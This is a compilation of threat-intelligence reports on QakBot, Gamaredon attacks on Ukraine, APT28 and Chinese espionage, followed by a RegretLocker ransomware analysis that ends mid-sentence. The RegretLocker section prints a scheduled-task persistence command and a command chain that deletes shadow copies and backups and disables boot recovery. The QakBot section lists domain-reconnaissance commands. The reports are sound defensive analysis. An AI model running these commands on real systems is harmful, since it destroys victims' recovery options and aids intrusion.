## QakBot’s Core Module Connects to C2 Server As long as the QakBot core module is resumed in the target process (such as “OneDriveSetup.exe”), it starts using another entry function other than the one in regsvr32.exe. The core module has two binary data blocks in its Resource section, named “102” and “103”. The data of Resource “103” is an RC4 encrypted configuration. After decryption, it is the string “10=obama189\r\n3=1655107308\r\n”. “obama189” is a QakBot ID of this variant, and “1655107308” is a Unix Epoch time. The “102” Resource data is an RC4 encrypted C2 server list. QakBot goes through all listed C2 servers, one by one, until a connection is established. It then sends the victim registry packet (the first packet) to that C2 server to register the victim. ## Sending Sensitive Data to the C2 Server QakBot collects sensitive data from the victim’s device and sends it to its C2 server. QakBot leverages Windows APIs, Windows commands, and WMI Query Language (WQL) to obtain the information. ### Windows APIs - **GetVersionEx()**: Windows edition information, including build number. - **GetComputerNameW()**: Computer name. - **GetSystemMetrics()**: Obtain screen size (width and height). - **NetGetJoinInformation()**: Retrieve the AD Domain. ### WMI Object Query - **SELECT * FROM Win32_OperatingSystem**: OS information. - **SELECT * FROM AntiVirusProduct**: Obtain the installed AntiVirus software. - **SELECT * FROM Win32_Processor**: CPU processor information. ### Windows Commands - **"ipconfig /all"**: All TCP/IP network configuration values. - **"nslookup -querytype=ALL - timeout=12 _ldap._tcp.dc._msdcs.%s"**: Query SRV records for the domain. - **"nltest /domain_trusts /all_trusts"**: Enumerating domain trusts. Once QakBot has collected all the information, it seals the information inside a packet with packet type “8”:4. ## Conclusion According to this analysis, I proved that an attached HTML file is no safer than any other risky files. You have to be extra cautious when receiving emails with attachments. I explained how the HTML file drops a ZIP archive through a piece of auto-execution JavaScript code. Later, I focused on how a disguised Windows shortcut file downloads the loader module of QakBot. You also learned what the loader module does to decrypt and deploy the core module of QakBot in a picked target process. Finally, we walked through QakBot starting threads to connect to its C2 server using an IP address and port pair chosen from a C2 server list. ## Fortinet Protections Fortinet customers are already protected from this malware through FortiGuard’s Web Filtering, AntiVirus, FortiMail, FortiClient, and FortiEDR services. The phishing email was detected as "SPAM" by the FortiMail service. The URL to download QakBot and its C2 servers has been rated as "Malicious Websites" by the FortiGuard Web Filtering service. The HTML file attached to the phishing email and the downloaded QakBot Loader module are detected as "JS/Agent.BLOB!tr" and "W32/Qbot.D!tr" and are blocked by the FortiGuard Antivirus service. FortiEDR detects the involved file as malicious based on its behavior. In addition to these protections, we suggest that organizations have their end users also go through the FREE NSE training: NSE 1 – Information Security Awareness. It includes a module on Internet threats designed to help end users learn how to identify and protect themselves from phishing attacks. ## IOCs **URLs:** `194[.]36[.]191[.]227/%random%.dat` **Sample SHA-256 Involved in the Campaign:** [Attached HTML file] `FE1043A63E6F0A6FAA762771FF0C82F253E979E6E3F4ADD1C26A7BD0C4B2E14C` [Loader module of QakBot] `9C3D3CD9B0FCB39117692600A7296B68DDDF2995C6D302BC9D9C8B786780BA19` [ScannedDocs_1586212494.lnk] `F5B6619E92D7C4698733D9514DF62AF ACA99883DFAC8B9EE32A07D087F2800BF`
# Cyberattacks Targeting Ukraine Increase 20-fold at End of 2022 Fueled by Russia-linked Gamaredon Activity It has been almost a year since Russia invaded Ukraine in a major escalation of the Russo-Ukrainian War, which began in 2014. It has caused Europe's largest refugee crisis since World War II. The war is not just occurring on land but also through technology systems: Ukraine's public, energy, media, financial, business, and non-profit sectors have suffered the most through repeated, targeted cyberattacks. Since February 2022, cyberattacks have undermined the distribution of medicines, food, and relief supplies. Their impact has ranged from preventing access to basic services to data theft and disinformation. Our team has been following the cyberthreat landscape closely, supporting our global government and enterprise customers with the latest threat intelligence and indicators. In this blog, we outline our latest findings around cyberactivity targeting Ukraine. From malicious email and URLs to nation-state backed use of malware, cyberactivity continues to accompany kinetic military activity and social discontent. ## Malicious Email A year later, and the Trellix Advanced Research Center team has noticed a 20-fold increase in email-based cyberattacks on Ukraine’s public and private sectors. Our email security researchers observed a surge of attacks in the third week of November 2022, which remained consistently high until they descended at the end of December 2022. The majority of these attacks were found to be aimed towards subdomains of the “gov.ua” website, which is the parent domain for Ukrainian government and military sites. The most popular attacks were attachment-based, in which emails with minimal body content along with an attachment were sent to the victim. The subject is usually something to catch interest like “References regarding receivables and payables” or “Please urgently submit an application for a work permit for January 2022.” Different types of attachments were used to deliver malware. Some examples include xlsx, shtml, doc, xlsm, jar, lnk, and cmg, of which xlsm was the most prevalent. The large majority of the observed malicious emails directed at the Ukrainian government had a nefarious sender. Based on the analysis of the malicious attachments, we believe with a high level of confidence that these can be attributed to the state-sponsored group Gamaredon. ### Email Campaigns Trellix Advanced Research Center researchers found different styles of campaigns utilized to target Ukrainian websites: 1. The email is a fake inbound Shipment Notification containing an HTML file that opens and redirects the victim to a customized phishing page. 2. An email pretending to be from the “Accounts Team” that contains a malicious attachment masquerading as an invoice. 3. An email pretending to be from the Ministry of Foreign Affairs of Estonia looking to share contacts of embassy officers, containing a link redirecting the user to a Google Drive link containing a malicious file. 4. An email pretending to be from the “Ministry of Defense of Ukraine” that contains a compressed archive as an attachment, utilizing the name of a logistic company, DNI Pro LLC, which actively works in Ukraine. The archive is used to deliver malware to the victim. 5. A fake notification email from an Administrator for mil.gov.ua notifying the victim of issues with their mailbox that require verification to resolve, containing a link that redirects the user to a malicious website. ## Malicious URLs The following are some of the malicious web pages being utilized to target Ukraine: - Customized pages that appear to be genuine and look like the legitimate pages they spoof, making it difficult for the victim to recognize any suspicious activity. - Capitalizing on the user’s sense of urgency by presenting a blurry document as a background of the phishing page, designed to look important to convince the victim to log in. - The pages also make use of a combination of techniques to attempt to evade detection by security products and make it harder to analyze by security professionals. ## Malware and Suspicious Behavior Trellix Advanced Research Center telemetry has identified several malware families and observed suspicious behavior targeting Ukrainian organizations. The following are some of the malware families and behaviors observed by our researchers: - **Gamaredon**: A Russian APT group and one of the most active state-sponsored groups targeting Ukraine. The name Gamaredon Group comes from a misspelling of the word "Armageddon," detected in the adversary's early campaigns. Trellix researchers observed three different styles of malware related to Gamaredon: - Malicious LNK downloaders contained in archive files of various formats, abusing the Windows MSHTA utility to download further stages of malware. - Doc files using template injection attacks, which are Word documents with fake template references to external malware payloads. - XLL downloaders, which are trojanized Excel add-in DLLs programmed to download and install further malware. - **H-Worm**: Also known as Houdini Rat, is a Visual Basic Script-based Remote Access Trojan (RAT) first spotted in 2013. It contains various capabilities including stealing system information, capturing screenshots, logging keystrokes, viewing the webcam, deleting files, and uninstalling itself. H-Worm was deployed in targeted attacks against the international energy industry and has also been used in wider contexts through spammed email attachments and malicious links. - **Formbook**: An info stealer malware used to steal several types of data from infected systems, including credentials cached in web browsers, screenshots, and keystrokes. It can also act as a downloader, enabling it to download and execute additional malicious files. - **Remcos**: A Remote Access Software used to remotely control computers, which once installed, opens a backdoor on the computer, granting full access to the remote user. - **Andromeda**: A commodity trojan developed in 2011 currently targeting Ukraine's public sector networks. This re-emergence of Andromeda was previously reported by Mandiant, and Trellix can confirm this Andromeda activity. - **Potentially Unwanted Program (PuP) detections**: From October 2022 till January 2023, we observed an abnormally large amount of PUP detections in Ukraine linked to a single software activation program aimed at activating Adobe. However, this PuP was actually malware aimed at creating a backdoor on the infected system. The usage of PuPs and pirated license activators is something we continue to observe in our telemetry. We strongly discourage this behavior as it increases the risk of serious malware infections. - **CVE-2021-3438**: We have observed multiple privilege escalation attempts at a financial institution where the threat actor attempted to launch an exploit for a known HP printer vulnerability (CVE-2021-3438) via Rundll32. - **Suspected MSIEXEC.exe activity**: Our researchers observed suspicious behavior where msiexec.exe was spawned from an Excel file and attempted to download a binary from a potentially compromised Qnap NAS device exposed to the Internet. Leveraging MSIEXEC.EXE is a common technique; however, we have observed this specific behavior previously in a Raspberry Robin campaign as well as an older Gamaredon campaign. More definitive attribution wasn’t possible as the final payload was no longer available for additional analysis. ## Indicators of Compromise The following are examples of malicious URLs, binaries, and email addresses used in the campaigns being carried against Ukraine. ## Trellix Security Protection Trellix provides reliable detection from such campaigns by preventing emails from ever reaching your system. In addition, Trellix also detects campaigns on other levels like network, URL, and binary to provide complete protection to our customers. The following is a subset of the Trellix Security detections that have been observed for the malware in these campaigns: **Email Based Detections**: - FE_EMAIL_PASSWORD_RESET_PHISH_1 - FE_Trojan_HTM_Phish_198.FEC2 - FEC_Trojan_JS_Generic_14 - FEC_Dropper_HTML_Generic_18 **Endpoint Based Detections**: - APT.Gamaredon.DNS - Worm.Houdini - FE_Backdoor_Win32_REMCOS_2 - Trojan.Formbook - FE_Worm_Win32_Andromeda ## Conclusion As the Ukraine-Russia war continues, the cyber-attacks on Ukraine's energy, government, transportation infrastructure, financial sector, etc., are ongoing. In times of such panic and unrest, the attackers aim to capitalize on the distraction and stress of the victims to successfully exploit them. As the attacks continue, we suggest everyone stay vigilant. Government and defense personnel are advised to be extra careful as they would be the most promising targets for the attacks.
# APT28: At the Center of the Storm ## Introduction The Democratic National Committee’s (DNC) June 2016 announcement attributing its network breach to the Russian Government triggered an international debate over Russia’s sponsorship of information operations against the U.S. At issue is the question of proof: did the Russian Government direct the group responsible for the breaches and related data leaks? If so, is this simply a matter of accepted state espionage, or did it cross a line? Was the DNC breach part of a concerted effort by the Russian Government to interfere with the U.S. presidential election? Unfortunately, we have failed to ask the most consequential question: how will Russia continue to employ a variety of methods, including hacks and leaks, to undermine the institutions, policies, and actors that the Russian Government perceives as constricting and condemning its forceful pursuit of its state aims? Our visibility into the operations of APT28—a group we believe the Russian Government sponsors—has given us insight into some of the government’s targets, as well as its objectives and the activities designed to further them. We have tracked and profiled this group through multiple investigations, endpoint and network detections, and continuous monitoring. Our visibility into APT28’s operations, which date to at least 2007, has allowed us to understand the group’s malware, operational changes, and motivations. This intelligence has been critical to protecting and informing our clients, exposing this threat, and strengthening our confidence in attributing APT28 to the Russian Government. ## Overview On December 29, 2016, the Department of Homeland Security (DHS) and Federal Bureau of Investigation (FBI) released a Joint Analysis Report confirming FireEye’s long-held public assessment that the Russian Government sponsors APT28. Since at least 2007, APT28 has engaged in extensive operations in support of Russian strategic interests. The group, almost certainly comprised of a sophisticated and prolific set of developers and operators, has historically collected intelligence on defense and geopolitical issues. APT28 espionage activity has primarily targeted entities in the U.S., Europe, and the countries of the former Soviet Union, including governments and militaries, defense attaches, media entities, and dissidents and figures opposed to the current Russian Government. Over the past two years, Russia appears to have increasingly leveraged APT28 to conduct information operations commensurate with broader strategic military doctrine. After compromising a victim organization, APT28 will steal internal data that is then leaked to further political narratives aligned with Russian interests. To date, these have included the conflict in Syria, NATO-Ukraine relations, the European Union refugee and migrant crisis, the 2016 Olympics and Paralympics Russian athlete doping scandal, public accusations regarding Russian state-sponsored hacking, and the 2016 U.S. presidential election. This report details our observations of APT28’s targeting, and our investigation into a related breach. We also provide an update on shifts in the group’s tool development and use, and summarize the tactics APT28 employs to compromise its victims. ## APT28 Targeting and Intrusion Activity In October 2014, FireEye released "APT28: A Window into Russia’s Cyber Espionage Operations?" and characterized APT28’s activity as aligning with the Russian Government’s strategic intelligence requirements. While tracking APT28, we noted the group’s interest in foreign governments and militaries, particularly those of European and Eastern European nations, as well as regional security organizations, such as the North Atlantic Treaty Organization (NATO) and the Organization for Security and Cooperation in Europe (OSCE), among others. ### Table 1: APT28 Targeting of Political Entities and Intrusion Activity - **Entity**: OSCE **Timeframe**: November 2016 **APT28 Targeting and Intrusion Activity**: The OSCE confirmed that it had suffered an intrusion, which a Western intelligence service attributed to APT28. - **Entity**: Germany's Christian Democratic Union (CDU) **Timeframe**: April - May 2016 **APT28 Targeting and Intrusion Activity**: APT28 established a fake CDU email server and launched phishing emails against CDU members in an attempt to obtain their email credentials and access their accounts. - **Entity**: Pussy Riot **Timeframe**: August 2015 **APT28 Targeting and Intrusion Activity**: APT28 targets Russian rockers and dissidents Pussy Riot via spear-phishing emails. - **Entity**: NATO, Afghan Ministry of Foreign Affairs, Pakistani Military **Timeframe**: July 2015 **APT28 Targeting and Intrusion Activity**: APT28 used two domains to host an Adobe Flash zero-day exploit to target NATO, the Afghan Ministry of Foreign Affairs, and the Pakistani military. - **Entity**: German Bundestag & Political Parties **Timeframe**: June 2015 **APT28 Targeting and Intrusion Activity**: APT28 was likely responsible for the spear phishing emails sent to members of several German political parties. - **Entity**: Kyrgyzstan Ministry of Foreign Affairs **Timeframe**: October 2014 - September 2015 **APT28 Targeting and Intrusion Activity**: APT28 intercepted email traffic from the Kyrgyzstan Ministry of Foreign Affairs after maliciously modifying DNS records of the ministry’s authoritative DNS servers. - **Entity**: Polish Government & Power Exchange websites **Timeframe**: June and September 2014 **APT28 Targeting and Intrusion Activity**: APT28 employed “Sedkit” in conjunction with strategic web compromises to deliver “Sofacy” malware on Polish Government websites. Since 2014, APT28 network activity has likely supported information operations designed to influence the domestic politics of foreign nations. Some of these operations have involved the disruption and defacement of websites, false flag operations using false hacktivist personas, and the theft of data that was later leaked publicly online. ### Table 2: APT28 Network Activity Has Likely Supported Information Operations - **Victim**: World Anti-Doping Agency (WADA) **Timeframe**: September 2016 **APT28 Network Activity**: APT28 compromised WADA’s networks and accessed athlete medical data. - **Victim**: U.S. Democratic National Committee (DNC) **Timeframe**: April – September 2016 **APT28 Network Activity**: The DNC announced it had suffered a network compromise attributed to APT28 and APT29. - **Victim**: John Podesta **Timeframe**: March – November 2016 **APT28 Network Activity**: John Podesta was targeted in a mass phishing scheme attributed to APT28. - **Victim**: U.S. Democratic Congressional Campaign Committee (DCCC) **Timeframe**: March - October 2016 **APT28 Network Activity**: The DCCC announced an ongoing cybersecurity incident linked to the compromise of the DNC. - **Victim**: TV5Monde **Timeframe**: February 2015 - April 2015 **APT28 Network Activity**: APT28 compromised TV5Monde’s network. - **Victim**: Ukrainian Central Election Commission (CEC) **Timeframe**: May 2014 **APT28 Network Activity**: Malware traced to APT28 was identified in the investigation of the CEC’s internal network compromise. ## From Olympic Slight to Data Leak: Investigating APT28 at the World Anti-Doping Agency As news of the DNC breach spread, APT28 was preparing for another set of operations: countering the condemnation that Russia was facing after doping allegations and a threatened blanket ban of the Russian team from the upcoming Rio Games. Russia, like many nations, has long viewed success in the Olympic Games as a source of national prestige and soft power on the world stage. The doping allegations and prospective ban from the Games further ostracized Russia, and likely provided motivation to actively counter the allegations by attempting to discredit anti-doping agencies and policies. Our investigation of APT28’s compromise of WADA’s network, and our observations of the surrounding events reveal how Russia sought to counteract a damaging narrative and delegitimize the institutions leveling criticism. ### Allegations of Russian Athletes’ Widespread Doping - **November 2015**: WADA declares the Russian Anti-Doping Agency (RUSADA) non-compliant. - **July 18, 2016**: WADA-commissioned report documents evidence of Russian athletes’ widespread doping. - **August 4, 2016**: Russian athletes were barred from competing in the Olympic Games. ### APT28 Compromises WADA - **Early August 2016**: APT28 sends spear phishing emails to WADA employees. - **August 10, 2016**: APT28 uses a legitimate user account belonging to a Russian athlete to log into WADA’s Anti-Doping Administration and Management System (ADAMS) database. - **August 25 - September 12, 2016**: APT28 gains access to an International Olympic Committee account created specifically for the 2016 Olympic Games, and views and downloads athlete data. ### False Hacktivist Personas Claim to Target WADA, Leak Athlete Data - **August 9, 2016**: The actor @anpoland claims to have defaced the WADA website. - **August 11, 2016**: “Fancy Bears’ Hack Team” claims to have compromised WADA and directs readers to a website hosting stolen documents. - **September 12, 2016**: WADA releases a statement confirming the breach and attributes the compromise and theft of athlete medical data to APT28. - **September 15 - 30, 2016**: “Fancy Bears’ Hack Team” releases additional batches of medical files for high-profile athletes from multiple nations. Based on this timeline of leak and threatened leak activity, as well as strikingly similar characteristics and distribution methods shared between @anpoland and “Fancy Bears’ Hack Team,” the same operators are highly likely behind the two personas. WADA officials, citing evidence provided by law enforcement, stated that the threat activity originated in Russia, possibly in retaliation for WADA’s exposure of Russia’s expansive, state-run doping. ## Conclusion Since releasing our 2014 report, we continue to assess that APT28 is sponsored by the Russian Government. We further assess that APT28 is the group responsible for the network compromises of WADA and the DNC and other entities related to the 2016 U.S. presidential election cycle. These breaches involved the theft of internal data—mostly emails—that was later strategically leaked through multiple forums and propagated in a calculated manner almost certainly intended to advance particular Russian Government aims. In a report released on January 7, 2017, the U.S. Directorate of National Intelligence described this activity as an “influence campaign.” This influence campaign—a combination of network compromises and subsequent data leaks—aligns closely with the Russian military’s publicly stated intentions and capabilities. Influence operations, also frequently called “information operations,” have a long history of inclusion in Russian strategic doctrine, and have been intentionally developed, deployed, and modernized with the advent of the internet. The recent activity in the U.S. is but one of many instances of Russian Government influence operations conducted in support of strategic political objectives, and it will not be the last. As the 2017 elections in Europe approach—most notably in Germany, France, and the Netherlands—we are already seeing the makings of similarly concerted efforts. ## Appendix: APT28’s Tools, Tactics, and Operational Changes In our 2014 report, we identified APT28 as a suspected Russian government-sponsored espionage actor. We came to this conclusion in part based on forensic details left in the malware that APT28 had employed since at least 2007. We have provided an updated version of those conclusions, a layout of the tactics that they generally employ, as well as observations of apparent tactical shifts. For full details, please reference our 2014 report, "APT28: A Window into Russia’s Cyber Espionage Operations?" APT28 employs a suite of malware with features indicative of the group’s plans for continued operations, as well as the group’s access to resources and skilled developers. ### Key characteristics of APT28’s toolset include: - A flexible, modular framework that has allowed APT28 to consistently evolve its toolset since at least 2007. - Use of a formal coding environment in which to develop tools, allowing the group to create and deploy custom modules within its backdoors. - Incorporation of counter-analysis capabilities including runtime checks to identify an analysis environment, obfuscated strings unpacked at runtime, and the inclusion of unused machine instructions to slow analysis. - Code compiled during the normal working day in the Moscow time zone and within a Russian language build environment. ### APT28’s Malware Suite | Tool | Role | AKA | |---------------|--------------|------------------------------------------| | CHOPSTICK | backdoor | Xagent, webhp, SPLM, (.v2 fybis) | | EVILTOSS | backdoor | Sedreco, AZZY, Xagent, ADVSTORESHELL, NETUI | | GAMEFISH | backdoor | Sednit, Seduploader, JHUHUGIT, Sofacy | | SOURFACE | downloader | Older version of CORESHELL, Sofacy | | OLDBAIT | credential harvester | Sasfis | | CORESHELL | downloader | Newer version of SOURFACE, Sofacy | ### APT28’s Operational Changes Since 2014 APT28 continues to evolve its toolkit and refine its tactics in what is almost certainly an effort to protect its operational effectiveness in the face of heightened public exposure and scrutiny. In addition to the continued evolution of the group’s first stage tools, we have also noted APT28: - Leveraging zero-day vulnerabilities in Adobe Flash Player, Java, and Windows. - Using a profiling script to deploy zero-days and other tools more selectively, decreasing the chance that researchers and others will gain access to the group’s tools. - Increasing reliance on public code depositories, such as Carberp, PowerShell Empire, P.A.S. webshell, Metasploit modules, and others in a likely effort to accelerate their development cycle and provide plausible deniability. - Obtaining credentials through fabricated Google App authorization and OAuth access requests that allow the group to bypass two-factor authentication and other security measures. - Moving laterally through a network relying only on legitimate tools that already exist within the victims’ systems, at times forgoing their traditional toolset for the duration of the compromise. These changes are not only indicative of APT28’s skills, resourcefulness, and desire to maintain operational effectiveness, but also highlight the longevity of the group’s mission and its intent to continue its activities for the foreseeable future. ### APT28 Tactics We have observed APT28 rely on four key tactics when attempting to compromise intended targets. These include sending spear-phishing emails that either deliver exploit documents that deploy malware onto a user’s systems, or contain a malicious URL designed to harvest the recipients’ email credentials and provide access to their accounts. APT28 has also compromised and placed malware on legitimate websites intending to infect site visitors, and has gained access to organizations by compromising their web-facing servers. #### Tactic: Infection with Malware via Spear Phish - Craft exploit document with enticing lure content. - Send exploit document to victim. - Victim opens document, and malware is installed by exploiting a vulnerability. #### Tactic: Webmail Access via Spear-Phish - Register a domain spoofing a webmail service or an organization’s webmail portal. - Send email to victims warning of security risk and asking them to enable security service. - Person is asked to authorize an application to view mail and gives access. #### Tactic: Infection with Malware via Strategic Web Compromise (SWC) - Compromise a legitimate site and set up malicious iFrame. - Users of the site are redirected using malicious iFrame and profiled. - Exploit is served to users matching the target profile and malware is installed on their system. #### Tactic: Access Through Internet-Facing Servers - Network reconnaissance to find vulnerable software. - Exploitation of previously known vulnerabilities present on unpatched systems. - Leverage initial compromise to access other systems and move deeper into the victim network.
# FireEye iSIGHT Intelligence ## Redline ## China Recalculates Its Use of Cyber Espionage ### Introduction On September 25, 2015, President Barack Obama and Chinese President Xi Jinping agreed that neither government would “conduct or knowingly support cyber-enabled theft of intellectual property” for an economic advantage. Some observers hailed the agreement as a game changer for U.S. and Chinese relations, while skeptics saw this as little more than a diplomatic formality unlikely to stymie years of state-sponsored intellectual property theft. Since the agreement, there has been much discussion and speculation as to what impact, if any, it would have on Chinese cyber operations. To investigate this question, FireEye iSIGHT Intelligence reviewed the activity of 72 groups we suspect are operating in China or otherwise support Chinese state interests. Going back nearly three and a half years to early 2013, our analysis paints a complex picture, leading us to assess that a range of political, economic, and other forces were contributing to a shift in Chinese cyber operations more than a year prior to the Xi-Obama agreement. ### Key Findings Between late 2015 and mid-2016, 13 suspected China-based groups compromised corporate networks in the U.S., Europe, and Japan, and targeted government, military, and commercial entities in the countries surrounding China. Since mid-2014, we have seen a notable decline in China-based groups’ overall intrusion activity against entities in the U.S. and 25 other countries. We suspect that this shift in operations reflects the influence of ongoing military reforms, widespread exposure of Chinese cyber operations, and actions taken by the U.S. government. Since taking power in late 2012, Chinese President Xi Jinping has implemented significant military reforms intended to centralize China’s cyber elements and support a greater use of network operations. Public reports in recent years have exposed Chinese cyber operations and heightened public awareness of China’s engagement in economic espionage. This likely provided the U.S. government with political support to publicly confront China over the issue. In 2014, the U.S. government began to take unprecedented measures in response to claims of Beijing’s cyber-enabled economic espionage. Although many in the U.S. initially doubted that these actions would have any effect, they may have prompted Beijing to reconsider the execution of its network operations. We have not seen evidence of a coordinated shift in the behavior of recently active China-based groups—tactical changes appear to be specific to each group’s mission and resources, and in response to public exposure of its cyber operations. ### Factors Influencing Chinese Cyber Operations China has undergone significant changes under Xi’s leadership, including a massive centralization of presidential power, reforms restructuring the country’s military capabilities, and growing regional security concerns. Xi’s unrivaled authority has allowed him to advance a large-scale reorganization of the People’s Liberation Army (PLA). The reforms aim to improve China’s ability to conduct joint operations and win “informationized” wars, deemphasizing the army in favor of a stronger focus on cyber and maritime capabilities and space assets. Since 2012, Xi has also actively cracked down on government and military elements using state resources for their own agendas. ### Chinese Security Concerns China is also facing pressing security concerns within the region, particularly from Taiwan, Japan, and claimants in the South China Sea dispute. Taiwan’s recent election of the pro-independence Democratic People’s Party has almost certainly prompted concern in Beijing. Despite the Taiwanese president’s pledge to “maintain the status quo with China,” Beijing views the party’s pro-independence mindset as a threat to its territorial sovereignty and future security. In addition, Japan’s increased willingness to defend its regional interests, particularly through expanding the role of its Self-Defense Forces, may allow Japan to balance China more effectively, curbing Beijing’s influence and regional ambitions. Lastly, territorial disputes in the South China Sea have intensified over the past few years, due in part to U.S. displays of military power and China’s own island-building activities. ### Conclusion In 2013, when we released the APT 1 report exposing a PLA cyber espionage operation, it seemed like a quixotic effort to impede a persistent, well-resourced military operation targeting global corporations. Three years later, we see a threat that is less voluminous but more focused, calculated, and still successful in compromising corporate networks. Rather than viewing the Xi-Obama agreement as a watershed moment, we conclude that the agreement was one point amongst dramatic changes that had been taking place for years. We attribute the changes we have observed among China-based groups to factors including President Xi’s military and political initiatives, the widespread exposure of Chinese cyber operations, and mounting pressure from the U.S. Government. Yet China is not the only actor in transition: we’ve observed multiple state-backed and other well-resourced groups develop and hone their operations against corporate and government networks. The landscape we confront today is far more complex and diverse, less dominated by Chinese activity, and increasingly populated by a range of other criminal and state actors.
# RegretLocker **Chuong Dong** **November 17, 2020** **Reverse Engineering** ## Summary RegretLocker is a new ransomware that has been found in the wild in the last month. It not only encrypts normal files on disk like other ransomwares but also specifically searches for VHD files, mounts them using Windows Virtual Storage API, and encrypts all the files inside those VHD files. Typically, VHD files are huge, with a max size of nearly 2TB, as they mainly store the contents of a hard disk of a VM, including disk partitions and file systems. This makes it unrealistic for ransomware to waste time encrypting them due to their size. However, by mounting these virtual disks as physical disks, RegretLocker can encrypt individual files inside, significantly increasing encryption speed. For encryption, RegretLocker reaches out to the C&C server for an RSA key to produce a unique AES key, which will be used to encrypt all files on the disks. If the machine is offline or cannot reach C&C, it uses a hard-coded RSA key in memory, making it simpler to write a decryption tool. All encrypted files have the extension `.mouse`. Huge shout-outs to Vitali Kremez and MalwareHunterTeam for bringing this ransomware to my attention! ## IOCS RegretLocker comes in the form of a 32-bit PE file. **MD5:** 3265b2b0afc6d2ad0bdd55af8edb9b37 **SHA256:** a188e147ba147455ce5e3a6eb8ac1a46bdd58588de7af53d4ad542c6986491f4 ## Dependencies - **Advapi32.dll and Crypt32.dll:** Main crypto functionalities such as RSA and AES encryption - **VirtDisk.dll:** Mounting virtual disk functionalities - **tor-lib.dll:** DLL dropped by RegretLocker that is used to contact C&C through Tor ## Networking RegretLocker contacts the C&C server at `http://regretzjibibtcgb.onion/input` through Tor three times: - Retrieve RSA key from server - Send information such as the computer's IP, name, volume of the disks - Signal when it finishes encrypting Before contacting C&C, it sends a GET request to `http://api.ipify.org/` to retrieve the PC’s public IP address. If this fails, the malware assumes it’s running offline and uses the hard-coded RSA key. ## Ransom Note RegretLocker drops a ransom note in every folder that it encrypts. The hash is used to identify which RSA key is used to generate the AES key on your machine. ## Code Analysis ### Only One Process Running RegretLocker first checks if there is only one version of itself running by looping through all running processes using `CreateToolhelp32Snapshot`, `Process32First`, and `Process32Next`. For each running process, it compares the name against its own name. If there is one with the same name, the ransomware exits immediately. ### Dropping tor-lib.dll The malware extracts the path to the current directory it is located in through `GetModuleFileNameA` and concatenates `"\tor-lib.dll"` to it, dropping this DLL in the same directory as the malware. It then calls a function to extract the DLL from its resource section through `FindResourceA`, `LoadResource`, and `LockResource`. The DLL is stored unencrypted in the resource section. After extracting the DLL, it calls `LoadLibrary` to get a handle to the DLL, which will be used for the malware to contact C&C. ### Development Check The malware writer has two checks for a particular username and PC name (WIN-295748OMAKG). If the username or PC name matches, the malware exits immediately. This is potentially a check against the development PC to ensure the ransomware does not try to encrypt the machine during development. ### Persistence For persistence, the malware sets the registry `SOFTWARE\Microsoft\Windows\CurrentVersion\Run` to the path of the malware, ensuring it runs automatically every time the user logs in. It also schedules the malware as a task every minute using the `Schtasks.exe` command, which is run from `cmd.exe` using `ShellExecuteA`. ```bash schtasks /Create /SC MINUTE /TN "Mouse Application" /TR "RegretLocker_path" /f ``` ### Encryption Setup The malware builds and executes this command from `cmd.exe`: ```bash cmd.exe /C wmic SHADOWCOPY DELETE & wbadmin DELETE SYSTEMSTATEBACKUP & bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures & bcdedit.exe /set {default} recoveryenabled No ``` - `wmic SHADOWCOPY DELETE`: Deletes all shadow copies of the files on the system, preventing the encrypted files from being reverted to their previous state. - `wbadmin DELETE SYSTEMSTATEBACKUP`: Deletes system backup, preventing the system from going back to a previous snapshot. - `bcdedit.exe /set {default} bootstatuspolicy ignoreallfailures`: Sets the boot status policy to ignore errors during a failed boot, ensuring the PC does not fail over to Windows recovery or reboot. - `bcdedit.exe /set {default} recoveryenabled No`: Ensures the system can’t be recovered. Next, it loops through all the drives and adds the names of those with the drive type `DRIVE_FIXED`, `DRIVE_REMOVABLE`, or `DRIVE_REMOTE`. These names are mounted to the C drive using `GetVolumePathNamesForVolumeNameA`, `SetVolumeMountPointA`, `FindFirstVolumeA`, and `FindNextVolumeA`. ### Retrieving RSA Key The malware first reaches out to C&C at `http://regretzjibibtcgb.onion/input` with `get_key` in the query to request the RSA key. The global variable `RSA_KEY` will be written accordingly with the RSA key depending on whether it can reach the C&C or not. If it can’t, it will use a hard-coded RSA key. ``` -----BEGIN PUBLIC KEY----- MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC1ZQInrnhxXCtAN/LsOX2GmgbvBxMsO49lc1/qodshkUvRQLazWv6 -----END PUBLIC KEY----- ``` ### Generating AES Key Using the RSA key, it calls `CryptAcquireContextA`, `CryptDecodeObjectEx`, `CryptImportPublicKeyInfo`, and `CryptEncrypt` to encrypt the “AES” buffer in memory, generating a new AES key. With this method, the malware can generate a different AES key as long as it receives a different RSA key from C&C. However, this AES key is constant after this encryption if the malware is run offline, making it straightforward to produce a decrypting tool if either C&C is down or the PC is not connected to the Internet. ### Encryption - USB Drives The first encryption happens to USB drives, if any. This function retrieves the names of all USB drives by checking for any drive with `DRIVE_REMOVABLE` type. It loops through all these USB drives and calls a function to encrypt their content, labeled as `small_encrypt()`. ### Encryption - SMB Scanner The malware is written in C++, and there is a class called `smb_scanner`. The SMB function tries SMB scanning to find adapter names and address ranges on the adapter, and NetServer’s IP addresses and machine names on the server using `NetServerEnum`. The result value is a buffer of all the SMB folders in string form. It goes through a while loop calling a function to encrypt these SMB folders, labeled as `smb_encrypt()`. ### Encryption - Large Files The malware has a specific method of looking for large files and begins to encrypt them after the SMB encryption. The encryption function is called `encrypt_large_file()`, which is similar to most other encrypting functions but accounts for file size. The core of this function still boils down to AES encryption. After encryption, it renames the encrypted file to the same name but with the extension `.mouse` and overwrites the file buffer with the newly encrypted buffer. ### Encryption - Everything Else After the large file encryption, RegretLocker goes into a while loop to encrypt everything else with `small_encrypt()`. This function calls a wrapper function to navigate around directories and files before encrypting them. It specifically looks out for certain files to avoid encrypting them: - RegretLocker file - .log - HOW TO RESTORE FILES.TXT - Windows folder - ProgramData - Microsoft - System Next, it checks the file type. If the file type is `FILE_ATTRIBUTE_DIRECTORY`, it calls a recursive encrypting function to go through every layer inside the folder. If the file type is not a folder, it calls the main encrypting function to encrypt it. Inside the recursive encrypting function, RegretLocker specifically looks for certain file names to avoid encrypting them: - Cheat - Notepad - x96dbg - Hex Editor - tor-lib.dll - .mouse Since the drives are mounted, RegretLocker checks the file extension for `.vhd` to detect any virtual drive. If found, it calls a function to open the virtual drive to start encrypting everything inside by recursively calling back to the recursive function. The ransomware uses a series of calls to `OpenVirtualDisk`, `AttachVirtualDisk`, `GetVirtualDiskPhysicalPath`, `FindFirstVolumeW`, `CreateFileW`, `DeviceIoControl`, `GetVolumePathNamesForVolumeNameW`, and `FindNextVolumeW` to retrieve a list of 